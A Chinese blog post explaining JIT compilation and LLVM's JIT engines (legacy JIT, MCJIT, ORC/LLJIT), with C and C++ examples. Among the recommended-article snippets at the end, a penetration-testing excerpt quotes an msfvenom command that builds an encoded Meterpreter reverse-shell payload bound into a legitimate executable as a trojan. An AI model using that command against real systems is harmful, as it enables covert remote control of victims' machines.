LLVM 新一代 JIT API:ORC

LLVM JIT编译技术:从基础原理到现代架构实践 / 各代JIT架构特性对比。 阅读详情

最近看到 ORC(On Request Compilation) 在增加 MachO 平台的 OC 和 Swift 语言支持,这是 MachO JIT(Just In Time) 相关的进展。本文将探索这个 LLVM 新一代的 JIT APIs,即 ORC,其 ORC JIT Weekly 现在还一直处于更新状态。

1、JIT 解释

以防语境不一致,解释下 JIT(Just In Time) 这个术语。

Whenever a program, while running, creates and runs some new executable code which was not part of the program when it was stored on disk, it’s a JIT.

JIT 即一个程序在运行时,创建并运行了一些新的可执行代码,而这些代码并非是程序的原有部分。

JIT 也被称之为懒编译(late/lazy compilation)。

其实包含两个概念,一个是动态生成代码,再一个是动态运行代码。

1.1、AOT

这个概念是相对于 AOT(Ahead Of Time) 而言的,AOT 会在执行之前把代码(文本、字节码等)编译为本地代码(机器指令),运行时就执行这些编译好的本地代码。

1.2、JIT 的好处

AOT 可以预先生成执行效果较好(优化过)的本地代码,但由于是静态编译,所以无法准确预测代码在运行时的行为,不能达到性能极致。

相比而言,JIT 结合了解释器和 AOT 的优点,在运行时收集各种信息和指标,既可以快速启动,又可以生成更加优化的代码,所以能在总体上达到更佳的运行效果,这也是解释器 + JIT 称为目前主流执行方式的原因之一。

生成更高效的代码是需要花费很多时间的,为了在快速启动和高度优化之间取得平衡,很多 JIT/AOT 实现(比如 Java 虚拟机和 Firefox 浏览器)使用了分层(Tiered)编译技术。分层编译一般分为两层,第一层(tier1,叫法因实现而异)编译器可以较快地生成本地代码(简陋的优化编译,如 -O0)并执行;而第二层(tier2)编译器在后台线程中生成执行效果更好的代码,并替换 tier 生成的代码。

还有另一个好处就是,可以动态下发代码,实现程序运行时的热重载和热修复。热重载比如在调试当中,可以边修改代码边实时调试,而不需要停止调试再重新编译。热修复比如在线上发现了某个函数存在 bug,正常是要修改好后,重新发一个编译版本,但 JIT 就可以下发代码直接替换掉函数。

1.3、简陋 JIT 的简单实现

使用 mmap 函数创建可读可写可执行(一般操作系统可能会有限制)的内存,在这段内存写入要执行的机器指令码(可以内置编译器生成机器码),把这段内存的首地址作为函数指针,之后进行调用。

//分配内存
void* createSpace(size_t size) {
    void* ptr = mmap(0, size,
            PROT_READ | PROT_WRITE | PROT_EXEC,
            MAP_PRIVATE | MAP_ANON,
            -1, 0);   
    return ptr;
}

long add(long num) { return num + 2; }

//内存中创建函数
void copyCodeToMem(unsigned char* addr) {
    // 上面 add 函数的机器码
    unsigned char macCode[] = {
        0x55,
        0x48,0x89,0xe5,
        0x48,0x89,0x7d,0xf8,
        0x48,0x8b,0x45,0xf8,
        0x48, 0x83, 0xc0, 0x02,
        0x5d,
        0xc3 
    };
    memcpy(addr, macCode, sizeof(macCode));
}

int main(int argc, char** argv) {                                                                                              
    const size_t SIZE = 1024;
    typedef long (*demo)(long);
    void* addr = createSpace(SIZE);
    copyCodeToMem(addr);
    demo d1 = addr;
    long result = d1(1);
    printf("result = %ld\n", result); 
    return 0;
}

2、LLVM JIT 设计与实现

2.1、设计需要

LLVM 的 JIT 的设计要满足一些用户及其需要:

  • Kaleidoscope(设计自己的编译前端):简单、安全
  • LLDB(调试器):交叉编译(Cross-target compilation)
  • High Performance JITs(高性能 JIT):可以自定义配置优化和生成代码的操作
  • Interpreters and REPLs(解释器):懒编译(Lazy compilation)、与静态编译效果一致(static compile)

LLVM 有三个 JIT 的实现:

2.2、LLVM JIT engine

LLVM JIT 编译器是基于函数粒度的,因为它可以一次只编译一个函数。(理论上可以进一步提高粒度,为 trace,即函数的某条特定执行路径,但还待研究)

JIT engine 会在运行时编译执行 LLVM IR 函数,在进行编译,它会使用 LLVM code generator(代码生成器) 去生成指定平台的二进制指令,然后会返回编译好的函数指针,这样就可以通过函数指针的方式来调用函数了。

LLVM JIT 系统使用 ExecutionEngine 类来提供支持,用来组织整个程序的执行、分析下一个需要被执行的程序段、选择对应的操作来执行,它会把代码生成到内存当中,但是否要执行取决于用户(开发者是否要调用)。

LLVM JIT engine 有以下特点:

  • 懒编译(lazy compilation):只在调用时才进行函数的编译。如果关闭该特性,则获得函数指针时就会马上进行编译。
  • 外部全局变量的编译:包括对当前 LLVM 模块(module)之外的实例,进行符号解析和内存分配
  • 通过 dlsym 查找和解析外部符号:这是在运行时进行动态共享对象(dynamic shared object,DSO)加载一样的过程

LLVM 里面有两套 JIT execution engine(执行引擎)的实现:llvm::JIT 类和 llvm::MCJIT 类。一个 ExecutionEngine 对象是用 ExecutionEngine::EngineBuilder() 函数和 IR Module 参数来进行实例化的。然后 ExecutionEngine::create() 会创建一个 JIT 或者 MCJIT 引擎实例。(所以基于 LLVM 的实现思路的热修复一般是采用 IR(bitcode) 下发的)

把二进制指令写进内存里是由 ExecutionManager 类完成的,它会把函数指针给用户。内存管理的任务包括内存分配、释放、提供内存空间给库加载、内存权限处理。JIT 和 MCJIT 都实现了自己的内存管理类,继承于 RTDyldMemoryManager 基类。

2.3、llvm::JIT

JIT 类以及其框架都是旧版的引擎,用了不同部分的 LLVM 代码生成器,在 LLVM 3.5 之后被移除,它是平台无关(target-independent)的,每种平台都需要实现自己的二进制指令生成操作。

JIT 类使用 JITCodeEmitter 类来生成二进制指令,是 MachineCodeEmitter 的子类,但和新的 MC(Machine Code)框架毫无关系,只能支持少量的平台,且很多平台特性不可用。

JIT 类使用 JITMemoryManager 进行内存管理,使用 JITResolver 实例来跟踪和解析所有还没被编译好的函数的调用点(call sites),这对于实现懒编译非常重要。它提供了很多函数,例如,用 allocateGlobal() 函数来为一个全局变量分配内存,使用 startFunctionBody() 函数来创建 JIT 的调用(为生成指令分配内存)。

每种平台需要实现 machine function(机器码级别的函数) 的 pass,名为 <Target>CodeEmitter,用来把指令编码成 blobs(binary large object),使用 JITCodeEmitter 写入内存之中。比如,MipsCodeEmitter,会遍历函数所有的代码块(basic blocks),然后调用 emitInstruction() 来处理每条机器指令(machine instruction)。

// (...) 
MCE.startFunction(MF); 
for (MachineFunction::iterator MBB = MF.begin(), E = MF.end(); MBB != E; ++MBB){ 
    MCE.StartMachineBasicBlock(MBB); 
    for (MachineBasicBlock::instr_iterator I = MBB->instr_begin(), E = MBB->instr_end(); I != E;)        
         emitInstruction(*I++, *MBB); 
} 
// (...)
void MipsCodeEmitter::emitInstruction(MachineBasicBlock::instr_ iterator MI, MachineBasicBlock &MBB) {
    // ...
    MCE.processDebugLoc(MI->getDebugLoc(), true);   
    emitWord(getBinaryCodeForInstr(*MI));  // 可以阅读 llvm TableGen 了解生成指令
    ++NumEmitted;  // Keep track of the # of mi's emitted   
    // ...
}

如果使用懒编译的方式,会先生成一个 stub (桩)函数指针来返回,在进行编译时,再把指针修正(patch)为(jump/call)真实函数地址。在下次调用时,会直接调到真实函数地址。

2.4、llvm::MCJIT

MCJIT(Machine Code JIT) 是 LLVM 中比较新的 JIT 实现。

MC 为指令提供了统一的表达(uniform representation),而且它是一个框架,可以共享于汇编器、反汇编器、汇编输出和 MCJIT。所以好处之一就是只需要指明一次指令的编码方式就够了,而且当你编写了 LLVM 后端生成指令,那么你也具有了 JIT 的功能。

MCJIT 同样使用ExecutionEngine 来进行实例创建,构造器(constructor) 同样用 llvm::Module 对象作为入参。

MCJIT 设计了一些关于 LLVM module 的实例的编译状态:

  • Added - 还未被编译,但已加入到执行引擎当中。允许模块暴露函数定义给其他模块,然后进行延迟编译,直到需要时。
  • Loaded - 该模块处于 JIT 编译,但未准备好被执行。重定位未完成,且需要分配合适权限的内存页。用户可以在内存中 remap JIT 编译的函数而不需要重新编译。
  • Finalized - 模块包含有准备被执行的函数。不能被 remap,因为重定位已经完成了。

这个状态的设计,使得 MCJIT 要获取符号地址时,必须整个模块已经处于 Finalized 状态。MCJIT::finalizeObject() 会调用 generateCodeForModule() 来生成已加载的模块,然后所有的模块会通过 finalizeLoadedModules() 函数被 finalized。

generateCodeForModule() 做了以下几件事情:

  • 创建 ObjectBuffer 实例来持有 Module 对象,如果 Module 已经被加载(编译过了),那么会使用 ObjectCache 接口来查找,避免重编。
  • 如果没有 cache,那么执行 MC 代码生成 MCJIT::emitObject(),会返回 ObjectBufferStream 对象。
  • RuntimeDyld 动态链接器会加载结果 ObjectBuffer 对象(根据文件格式调用对应平台的),然后通过 RuntimeDyld::loadObject() 来创建符号表,返回 ObjectImage 对象。
  • 标记模块为已加载 Loaded。

RuntimeDyld 动态链接器是在 Module 进行 finalization (符号解析、注册异常处理)时被使用。MCJIT 也会使用 RuntimeDyld 通过 RuntimeDyld::getSymbolLoadAddress() 函数来查找符号地址。

2.5、LLVM JIT 编译工具

2.5.1、lli

lli (解释工具,interpreter tool),实现了 LLVM bitcode(IR) 的解释器,以及使用 LLVM 执行引擎实现的 JIT 编译器。

$ clang -emit-llvm -c sum-main.c -o sum-main.bc
$ lli sum-main.bc
$ lli -use-mcjit sum-main.bc
$ lli -force-interpreter sum-main.bc

2.5.2、llvm-rtdyld

llvm-rtdyld 工具可以用来测试 MCJIT 对象加载和链接框架。可以从磁盘读取二进制目标文件,然后执行指定的函数。它不会进行 JIT 编译和执行,但可以让你测试和运行目标文件。

$ clang -g -c add.c -o add.o 
$ llvm-rtdyld -printline add.o 
Function: _add, Size = 20   
Line info @ 0: add.c, line:2   
Line info @ 10: add.c, line:3   
Line info @ 20: add.c, line:3

这个工具实际上就是把二进制目标文件读取进了 ObjectBuffer 对象,然后生成 ObjectImage 实例,通过 RuntimeDyld::resolveRelocations() 进行重定位,最后函数入口是通过 getSymbolAddress() 拿到以及调用。

3、ORC(On Request Compilation)

ORC 为构造 JIT 编译器提供了模块化的 API 接口。提供有以下特性:

  • JIT-linking:提供了 APIs 在运行时链接重定位文件到目标进程。
  • LLVM IR compilation:提供现成的组件,来把 LLVM IR 添加到 JIT 进程当中。
  • Eager and lazy compilation:默认 ORC 会在查找 JIT session 对象(ExecutionSession)时编译符号。当然 ORC 也提供了懒编译的选项。
  • Support for Custom Compilers and Program Representations:ORC 可以运行用户通过 JIT session 定义符号提供的自定义编译器。
  • Concurrent JIT‘d code and Concurrent compilation:JIT 代码可能被多线程执行,可能创建一个新的线程,可能并发地重新进入 ORC。内置的依赖跟踪可以保证,ORC 不会释放掉 JIT 代码或数据的指针,直到所有的依赖都 JIT 结束,以及是可以安全地调用为止。
  • Removable Code:为 JIT 程序表达(program representation)提供资源。
  • Orthogonality and Composability:以上的特性都可以被独立或组合地使用。

从 LLVM 7.0 开始,ORC 就专注于支持并发的 JIT 编译,这种并发的能力被整合到 ORCv2 版本当中。而传统(legacy)版本整合为 ORCv1,在 LLVM 12.0 会被移除。

通过模块化的方式,编译层和链接层可以被单独地进行测试,而且可以不通过回调就能观察到事件的变化(通过增加通知层等)。

3.1、LLJIT & LLLazyJIT

ORC 提供了两个基本的 JIT 类,用来集成 ORC 组件来创建 JIT,以及如何替换掉早期的 LLVM JIT(比如 MCJIT)。

LLJIT 类使用 IRCompileLayer 和 RTDyldObjectLinkingLayer 来支持 LLVM IR 的编译,以及重定向文件的链接。所有操作都是在符号查找时立即进行的。在大部分情况下,LLJIT 都被用来替换掉 MCJIT。

LLLazyJIT 是 LLJIT 的扩展,添加了 CompileOnDemandLayer 来支持 LLVM IR 的懒编译。当 LLVM IR 模块被 addLazyIRModule 添加,函数的实现体在第一次调用时,才会被编译。

// Try to detect the host arch and construct an LLJIT instance.
auto JIT = LLJITBuilder().create();

// If we could not construct an instance, return an error.
if (!JIT)
  return JIT.takeError();

// Add the module.
if (auto Err = JIT->addIRModule(TheadSafeModule(std::move(M), Ctx)))
  return Err;

// Look up the JIT'd code entry point.
auto EntrySym = JIT->lookup("entry");
if (!EntrySym)
  return EntrySym.takeError();

// Cast the entry point address to a function pointer.
auto *Entry = (void(*)())EntrySym.getAddress();

// Call into JIT'd code.
Entry();

// 懒编译版本
// Build an LLLazyJIT instance that uses four worker threads for compilation,
// and jumps to a specific error handler (rather than null) on lazy compile
// failures.

void handleLazyCompileFailure() {
  // JIT'd code will jump here if lazy compilation fails, giving us an
  // opportunity to exit or throw an exception into JIT'd code.
  throw JITFailed();
}

auto JIT = LLLazyJITBuilder()
             .setNumCompileThreads(4)
             .setLazyCompileFailureAddr(
                 toJITTargetAddress(&handleLazyCompileFailure))
             .create();

上图为懒编译流程图。

3.2、设计

ORC 的 JIT 模型目标是——模拟静态和动态链接器所使用的链接和符号解析的规则。这可以让 ORC 对任意的 LLVM IR 进行 JIT 操作。

看下 ORC 是如何运作的,在命令行下的构建程序是这样的:

$ clang++ -shared -o libA.dylib a1.cpp a2.cpp
$ clang++ -shared -o libB.dylib b1.cpp b2.cpp
$ clang++ -o myapp myapp.cpp -L. -lA -lB
$ ./myapp

而在 ORC 当中,会转换成对应的 API 调用:

// JIT 程序,提供 JIT 内容:JITDylib、错误报告机制、符号定义查询操作
ExecutionSession ES;
// 这两个 layer 是编译器的一层封装,可以将未编译的中间码加到 JITDylib 中
RTDyldObjectLinkingLayer ObjLinkingLayer(
    ES, []() { return std::make_unique<SectionMemoryManager>(); });
CXXCompileLayer CXXLayer(ES, ObjLinkingLayer);

// Create JITDylib "A" and add code to it using the CXX layer. 符号表
auto &LibA = ES.createJITDylib("A");
CXXLayer.add(LibA, MemoryBuffer::getFile("a1.cpp"));
CXXLayer.add(LibA, MemoryBuffer::getFile("a2.cpp"));

// Create JITDylib "B" and add code to it using the CXX layer.
auto &LibB = ES.createJITDylib("B");
CXXLayer.add(LibB, MemoryBuffer::getFile("b1.cpp"));
CXXLayer.add(LibB, MemoryBuffer::getFile("b2.cpp"));

// Create and specify the search order for the main JITDylib. This is
// equivalent to a "links against" relationship in a command-line link.
auto &MainJD = ES.createJITDylib("main");
MainJD.addToLinkOrder(&LibA);
MainJD.addToLinkOrder(&LibB);
CXXLayer.add(MainJD, MemoryBuffer::getFile("main.cpp"));

// Look up the JIT'd main, cast it to a function pointer, then call it.
auto MainSym = ExitOnErr(ES.lookup({&MainJD}, "main"));
auto *Main = (int(*)(int, char*[]))MainSym.getAddress();

int Result = Main(...);

这里的操作都依赖于 CXXCompilingLayer 的实现。ORC 还可以生成报错信息。而 llvm::orc::JITDylib 提供了符号表,支持异步的符号查询。

参考

How to JIT - an introduction:https://eli.thegreenplace.net/2013/11/05/how-to-jit-an-introduction

JIT原理简单介绍:https://segmentfault.com/a/1190000040256281

《WebAssembly 原理与核心技术》笔记:https://calssion.netlify.app/2021/08/07/assembly/wasm/

Add initial Objective-C and Swift support to MachOPlatform:https://reviews.llvm.org/rGcdcc35476833

Kaleidoscope-My First Language Frontend with LLVM Tutorial:https://llvm.org/docs/tutorial/MyFirstLanguageFrontend/index.html

《Getting Started with LLVM Core Libraries》第 7 章 The Just-in-Time Compiler

MCJIT Design and Implementation:https://llvm.org/docs/MCJITDesignAndImplementation.html

ORC Design and Implementation:https://llvm.org/docs/ORCv2.html

Building a JIT: Starting out with KaleidoscopeJIT:https://llvm.org/docs/tutorial/BuildingAJIT1.html

LLVM Dev Meeting 2016 - ORC:https://llvm.org/devmtg/2016-11

LLVM系列第十六章:写一个简单的编译器 基于LLVM提供的API,用C++写一个很简单的编译器,并用它编译出了我们自己的计算器程序 阅读详情

相关推荐

21、LLVM JIT编译:原理、应用与实现

本文深入探讨了LLVM的JIT编译技术,包括其原理、应用场景及实现方式。JIT编译作为提升程序执行效率的重要手段,广泛应用于虚拟机实现、表达式求值、数据库查询等领域。文章还介绍了LLVM中JIT的两种主要实现ORC引擎和MCJIT引擎,并通过示例演示了如何使用LLVM的JIT工具lli以及如何构建一个简单的JIT编译器。最后,分析了JIT编译的优势与挑战,并展望了其未来发展趋势。

eee77的博客 98

基于llvm自制编译器(4)——代码优化器、JIT编译器

前面几章我们介绍了如何实现一门简单的编程语言,同时支持了LLVM IR代码生成。代码优化器JIT编译器至此,我们完成了对 Kaleidoscope 的 JIT 和优化器的支持。我们可以实现一门非图灵完备的编程语言,以用户驱动的方式对齐进行优化和 JIT 编译。后续,我们将研究使用控制流结构扩展编程语言,并在此过程中解决一些 LLVM IR 相关的问题。

小杨的博客 1481

21、LLVM JIT编译:原理、应用与实践

本文深入探讨了LLVM JIT编译的原理、应用场景及实践方法。详细解析了JIT编译器在虚拟机实现、表达式求值和数据库查询优化中的应用,并通过示例介绍了如何使用lli工具执行LLVM IR以及如何基于LLJIT类构建自己的JIT编译器。文章还分析了ORC引擎的分层结构、LLJIT的工作原理、性能优化策略及未来发展趋势,为开发者提供了全面的技术参考。

k6l7m8n9的博客 243

编译器架构的王者LLVM——(12)使用JIT引擎

LLVM从设计之初就考虑了解释执行的功能,这非常其作为一款跨平台的中间字节码来使用,可以方便地跨平台运行。又具有编译型语言的优势,非常的方便。 我们使用的LLVM3.6版,移除了原版JIT,改换成了新版的MCJIT,性格有了不小的提升,本文就MCJIT的使用和注意事项,进行简要的介绍。

西风世界 1万+

21、LLVM JIT 编译:原理、应用与实现

本文深入探讨了LLVM的JIT编译技术,包括其原理、应用场景和具体实现方式。JIT编译在运行时动态编译代码,带来了性能优化、硬件无关性和动态性等优势,广泛应用于虚拟机实现、表达式求值和数据库查询等领域。文章还介绍了LLVM的ORC和MCJIT两种JIT实现,并通过示例展示了如何使用lli工具和LLJIT类构建自己的JIT编译器。最后,展望了JIT编译技术未来的发展趋势,包括更智能的优化、多语言支持和与硬件的深度集成。

s3t4u的博客 96

IEC61850客户端连接实战:CMS vs MMS协议抓包对比与性能初探(基于YX-PIS协议栈)

本文深入探讨了IEC61850客户端连接中CMS与MMS协议的抓包对比与性能优化。通过Wireshark抓包分析、协议栈配置实战和性能基准测试,揭示了两种协议在连接建立、数据交互和性能调优方面的关键差异,为智能电网自动化系统的协议选择提供了实用指南。

weixin_29209805的博客 215

LLVM - ORC JIT API

本文档概述了LLVM ORCv2 JIT API的设计与实现。ORCv2提供了一个模块化、高性能的JIT编译器框架,支持多种使用场景,包括LLVM教程、调试器表达式求值、解释器等。主要特性包括JIT链接、LLVM IR编译、惰性编译、多线程支持及代码移除等。文档介绍了开箱即用的LLJIT和LLLazyJIT类,并详细阐述了其设计理念,包括模拟静态/动态链接器行为、符号查找机制等。ORCv2通过ExecutionSession、JITDylib等顶层API提供灵活的JIT编程模型,支持从简单到复杂的各种JIT

630

前端宝典之七:React性能优化实战精华篇

本文主要讲解实战项目中React性能优化的方法,主要分为三个大的方面:减少不必要的组件更新、组件优化以及tree-shaking,共11个方法

franktaoge的博客 1901

LLVM学习日记6——Building a JIT in LLVM

说实话学完了上个教程,还是没有特别多的收获,主要是刚接触LLVM,上手还是略微复杂的,而且因为复杂,后面的练习也难以开始,也被上个教程的总结一张里一个个陌生的名词吓到。但是冷静一下,继续学习,肯定会越来越上手的,等到能够开始练习了就越来越上道了。那么话不多说就开始第二个教程: Building a JIT in LLVM LLVM JIT legacy JIT(now deleted) => MCJIT => ORC(now) JIT API Error addModule(std::uniq

karishima的博客 481

ESP32S3编译micropython固件

编译ESP32芯片的micropython固件

m0_73253860的博客 2553

【渗透测试笔记】之【钓鱼姿势——exe捆绑与免杀】

准备被捆绑程序: 输入:msfvenom -p windows/meterpreter/reverse_http lhost=x.x.x.x lport=55555 -e x86/shikata_ga_nai -i 15 -f exe -b '\x00\x0a\x0d' -x ~/Desktop/inst.exe > ~/Desktop/Trojan/test_msf_360.exe 目标主机执行,成功上线: ...

AA8j的博客 7649

LLVM系列第二十八章:写一个JIT Hello World

利用LLVM提供的OCR JIT引擎,编译并执行一段简单的IR代码

Zhanglin_Wu的专栏, C++, Scrum, LLVM, 编译器 2797

PHP实战:5分钟搞定SM4国密加密算法集成(附完整代码)

本文提供了一份可直接用于生产环境的PHP SM4国密加密算法集成实战指南。文章详细解析了SM4算法核心,对比了ECB与CBC工作模式,并给出了包含完整代码、密钥管理、数据填充及性能优化的解决方案,帮助开发者快速、安全地在PHP项目中集成国密加密算法。

2a4s6d8f0g的博客 339

LLVM JIT编译如何重塑运行时优化?深度技术解析与实战指南

LLVM项目作为现代编译器基础设施的标杆,其JIT(Just-In-Time)编译技术实现了代码的动态编译与实时优化。通过即时编译技术,LLVM能够在程序运行时将中间表示(IR)转换为机器代码,显著提升应用程序性能。本文将深入探讨LLVM中的JIT编译实现原理、核心技术组件以及实际应用场景,为开发者提供完整的JIT技术实践指南。 ## JIT编译的技术挑战与LLVM解决方案 传统静态编译面临的

gitblog_00526的博客 1011

UE5游戏逆向实战:用FModel提取.pak文件中的3D模型(附Dumper-7避坑指南)

本文详细介绍了如何使用FModel工具从UE5游戏的.pak文件中提取3D模型,并提供了Dumper-7的避坑指南。内容涵盖FModel工具链配置、UE5特有的unversioned properties问题解决方案、Dumper-7实战流程以及模型后处理技巧,帮助开发者高效获取游戏资产。

weixin_30872499的博客 422

从C到汇编:单片机汇编语言核心概念迁移指南

本文详细介绍了从C语言迁移到单片机汇编语言的核心概念与实践指南,特别适合嵌入式开发者。文章深入探讨了汇编语言在性能优化、时序控制等方面的独特优势,并提供了变量存储、函数实现、流程控制等关键概念的对应关系,帮助开发者高效掌握汇编编程技巧。

weixin_31887307的博客 346

LLVM - JITLink 简介

本文概述了LLVM中JITLink库的设计原理与功能特性。JITLink是一个用于即时编译链接的库,支持ORC JIT API,能够处理可重定位目标文件的完整特性,包括静态初始化、异常处理和线程本地变量等。它通过LinkGraph数据结构统一表示各种目标格式,提供了灵活的链接算法和Pass系统,支持跨进程、跨架构链接。文章详细介绍了JITLink与ObjectLinkingLayer的集成方式、LinkGraph的核心组件、通用链接算法的四个阶段,以及内存管理机制和错误处理方法。JITLink的设计既考虑性

805

Temporal Noise Reduction(TNR)时序去噪技术解析:原理、平台实践与工程调优路径

随着高画质夜景拍照和高清视频拍摄需求的持续增长,图像传感器在低照度环境下输出信号的噪声问题日益突出。相比空间域降噪(SNR),时序去噪(Temporal Noise Reduction, TNR)利用帧间信息进行融合处理,具备更高的信噪比提升效率及更强的边缘保护能力,已成为移动影像ISP链路中的核心环节。本文系统剖析TNR的算法原理、平台实现机制与工程调试路径,并基于实际开发案例分析其在不同场景下的效果差异及调优方法,为工程师提供从理论到实操的完整路径参考。

努力分享一些人工智能、计算机视觉、影像等相关的知识干货! 3200

揭秘LLVM JIT编译技术:动态优化与实时执行的架构革命

在当今高性能计算和实时应用场景中,传统静态编译的局限性日益凸显。程序启动缓慢、内存占用过高、无法根据运行时环境自适应优化等问题,成为了制约软件性能的关键瓶颈。LLVM项目通过其先进的即时编译技术,为这些挑战提供了革命性的解决方案。JIT编译不仅实现了代码的实时生成与执行,更通过智能的运行时优化,将编译器的威力延伸到了程序运行的每一个瞬间。 ## 🔥 静态编译的困境与JIT的破局之道 传统静态

gitblog_01082的博客 308

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

LLVM学习日记7——Building a JIT(Chapter 2&3 Lazy compile)

Building a JIT: Adding Optimizations – An introduction to ORC Layers Add IRTransformLayer class KaleidoscopeJIT { private: ExecutionSession ES; RTDyldObjectLinkingLayer ObjectLayer; IRCompileLayer CompileLayer; // add layer IRTransformLayer Trans

karishima的博客 392

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

LLVM核心概念全景解析

概念定义作用类比Module编译单元容器封装函数/全局变量→ C 源文件 (.c)Function可调用单元程序基本执行单元→ C 函数BasicBlock线性指令序列优化器操作基本单元→ 汇编基本块原子操作构成程序的最小指令→ 汇编指令IR中间表示语言/目标无关的表示→ 汇编语言(但更高级)PassIR 转换器实现具体优化→ 编译器优化阶段JIT运行时编译动态生成机器码→ JVM 即时编译“编译器应是可重用的库,而非单体工具”LLVM 通过模块化设计与强类型 IR。

weixin_42849849的博客 645

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

SwiftShader与LLVM JIT集成指南:CPU Vulkan 3D图形的高性能代码生成实践

**SwiftShader** 是一个基于 CPU 实现的高性能 **Vulkan** 图形 API,它借助 **LLVM JIT** 即时编译技术,在运行时为图形管线生成高度特化的机器码,让没有 GPU 的设备也能流畅运行 3D 图形应用。本文将带你读懂这套"CPU 上的虚拟 GPU"是如何与 LLVM 集成的,以及高性能代码生成的核心实践。 ## 1️⃣ 什么是 SwiftShader:CP

gitblog_00903的博客 335

如何利用LLVM的即时编译技术实现高性能代码动态优化

在当今快速迭代的软件开发环境中,传统编译器的"一次编译,永久运行"模式已难以满足现代应用对性能和灵活性的双重需求。LLVM项目作为现代编译器基础设施的标杆,其即时编译(JIT)技术通过运行时编译与优化,为开发者提供了全新的性能提升路径。本文将深入探讨LLVM JIT编译的核心机制,揭示其如何在不牺牲代码质量的前提下实现动态性能优化。 ## 从静态到动态:编译范式的革命性转变 传统编译流程将源代

gitblog_00804的博客 844

Cling核心架构解析:从LLVM/Clang到REPL的完整实现

Cling是一款基于LLVM和Clang构建的交互式C++解释器,它通过即时编译(JIT)技术将C++的静态编译特性与动态解释环境完美结合,为开发者提供了高效的代码探索和快速原型开发体验。作为C++领域的创新工具,Cling不仅继承了LLVM/Clang的高性能编译能力,还突破性地实现了真正的交互式编程环境。 ## 核心技术基石:LLVM与Clang的强大支撑 Cling的架构建立在两大开源技

gitblog_00859的博客 828
上一篇: C++ 异常是如何实现的
流左沙
博客等级 码龄11年 46粉丝 55原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值